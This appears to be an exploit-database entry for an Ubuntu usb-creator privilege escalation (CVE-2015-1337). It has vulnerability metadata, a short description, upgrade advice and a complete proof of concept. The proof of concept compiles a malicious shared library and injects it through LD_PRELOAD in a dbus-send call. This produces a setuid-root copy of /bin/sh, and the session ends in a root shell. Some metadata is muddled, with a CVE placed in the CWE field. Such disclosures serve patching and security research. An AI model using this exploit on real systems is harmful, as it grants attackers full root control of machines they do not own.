Privilege Escalation in Ubuntu via USB Creator

vendor:

USB Creator

by:

Solar Designer

8.8

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: USB Creator

Affected Version From: Ubuntu Precise (12.04LTS) <= usb-creator: 0.2.38.3ubuntu

Affected Version To: Ubuntu Utopic (14.10) <= usb-creator 0.2.62ubuntu0.2

Patch Exists: YES

Related CWE: CVE-2015-1337

CPE: o:ubuntu:ubuntu_linux:12.04

Metasploit: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2015

Privilege Escalation in Ubuntu via USB Creator

A vulnerability in the USB Creator utility of Ubuntu allows an attacker to gain root privileges on the system. The vulnerability is due to the fact that the USB Creator utility does not properly sanitize user-supplied input when running in KVM mode. An attacker can exploit this vulnerability by supplying malicious input to the USB Creator utility, which will then be executed with root privileges. This can be done by creating a shared library file containing malicious code and then supplying it as an argument to the USB Creator utility. The malicious code will then be executed with root privileges, allowing the attacker to gain full control of the system.

Mitigation:

Upgrade to the latest version of the USB Creator utility.

Source

Exploit-DB raw data:

Source: http://www.openwall.com/lists/oss-security/2015/04/22/12
Bug report: https://bugs.launchpad.net/ubuntu/vivid/+source/usb-creator/+bug/1447396

Ubuntu Precise (12.04LTS) <= usb-creator: 0.2.38.3ubuntu    (Patched in: 0.2.38.3ubuntu0.1)
Ubuntu Trusty  (14.04LTS) <= usb-creator 0.2.56.3ubuntu     (Patched in: 0.2.56.3ubuntu0.1)
Ubuntu Utopic  (14.10) <= usb-creator 0.2.62ubuntu0.2         (Patched in: 0.2.62ubuntu0.3)

$ cat > test.c
void __attribute__((constructor)) init (void)
{
chown("/tmp/test", 0, 0);
chmod("/tmp/test", 04755);
}
^D
$ gcc -shared -fPIC -o /tmp/test.so test.c
$ cp /bin/sh /tmp/test
$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"
method return sender=:1.4364 -> dest=:1.7427 reply_serial=2
$ ls -l /tmp/test
-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test
$ /tmp/test
# id
euid=0(root) groups=0(root)